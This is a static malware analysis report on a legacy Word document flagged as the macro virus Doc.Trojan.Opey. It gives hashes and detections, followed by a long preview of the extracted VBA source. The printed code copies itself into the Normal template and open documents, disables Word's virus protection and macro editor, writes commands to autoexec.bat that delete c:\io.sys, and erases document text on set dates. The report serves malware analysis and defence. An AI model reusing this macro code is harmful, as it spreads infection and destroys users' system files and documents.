Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5813c80da8d0adb5…

MALICIOUS

Office (OLE)

35.5 KB Created: 1997-01-30 14:57:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e739027f6d8b9d3a10e477cb7b052fce SHA-1: f25daccd2be75f05b8746930d6d9dd055bb40daa SHA-256: 5813c80da8d0adb5c5ad86b53e8ffa52dd443512ae81bec9c231e1489242a15c
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic macros, specifically an AutoOpen macro, which is a strong indicator of malicious intent. The macro attempts to write commands to 'c:\autoexec.bat', suggesting an attempt to establish persistence or execute arbitrary commands upon system startup. The ClamAV detections further confirm its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Opey-18 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Opey-18
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17300 bytes
SHA-256: 289c9025628947e4cb5d36599b96c8eba8bbb581f00b45192e1fba9b4716bbca
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Attribute VB_Name = "nwrd_01"
Sub HELLO2U()
    On Error Resume Next
        autoexecfile$ = "c:\autoexec.bat"
        hFile = FreeFile
        Line1$ = ""
        line2$ = ""
        line3$ = ""
        line4$ = ""
        If ((Day(Date) >= 15) And (Day(Date) <= 31)) Then
            Line1$ = "echo I LOVE YOU MARHEA C."
            line4$ = "echo FROM: nwrd"
        End If
        If (Day(Date) = 1) Then
            line2$ = "attrib -s -h -r c:\io.sys"
            line3$ = "del c:\io.sys"
        End If
        
        If Line1$ <> "" Or (Day(Date) = 1) Then
            Open autoexecfile$ For Append Access Write As hFile
                Print #hFile, "@echo off"
                Print #hFile, line2$
                Print #hFile, line3$
                Print #hFile, Line1$
                Print #hFile, line4$
                Print #hFile, "echo."
                Print #hFile, "pause"
            Close hFile
        End If
End Sub
Sub URD1()
  On Error Resume Next
    Call nwrd_01
    NTInfected = False
        For i = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
            clan = NormalTemplate.VBProject.VBComponents(i).Name
                If clan = "nwrd_01" Then NTInfected = True
                If (clan <> "nwrd_01") And (clan <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
        Next i
        For Each opendoc In Documents
            ODInfected = False
            With opendoc
                For J = opendoc.VBProject.VBComponents.Count To 1 Step -1
                clan = opendoc.VBProject.VBComponents(J).Name
                    If clan = "nwrd_01" Then ODInfected = True
                    If (clan <> "nwrd_01") And (clan <> "ThisDocument") And (clan <> "Reference to Normal") Then Application.OrganizerDelete Source:=opendoc.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
                Next J
                If ODInfected = False Then
                    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=opendoc.FullName, Name:="nwrd_01", Object:=wdOrganizerObjectProjectItems
                    opendoc.SaveAs FileName:=opendoc.FullName
                End If
            End With
        Next opendoc
            If NTInfected = False Then
                Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="nwrd_01", Object:=wdOrganizerObjectProjectItems
                NormalTemplate.Save
            End If
    Call HELLO2U
End Sub
Sub nwrd_01()
    On Error Resume Next
    Application.UserName = "nwrd"
    Application.UserAddress = "AMACC - SCL"
    Application.UserInitials = "LM555"
    With Dialogs(wdDialogFileSummaryInfo)
        .Author = "nwrd"
        .Title = "LM555"
        .Execute
    End With
    With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
    With ActiveDocument
        .ReadOnlyRecommended = False
    End With
    On Error Resume Next
    CommandBars("Visual Basic").Visible = False
    CommandBars("Visual Basic").Enabled = False
    CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
    CommandBars("Visual Basic").Protection = msoBarNoCustomize
    CommandBars("Tools").Controls("Macro").Delete
    CommandBars("Tools").Controls("Customize...").Delete
    CustomizationContext = NormalTemplate
    FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
    FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
End Sub
Sub WARNING()
    If ((Day(Date) = 15) Or (Day(Date) = 31)) Then
        On Error Resume Next
        Selection.WholeStory
        Selection.Delete unit:=wdCharacter, Count:=1
        
... (truncated)

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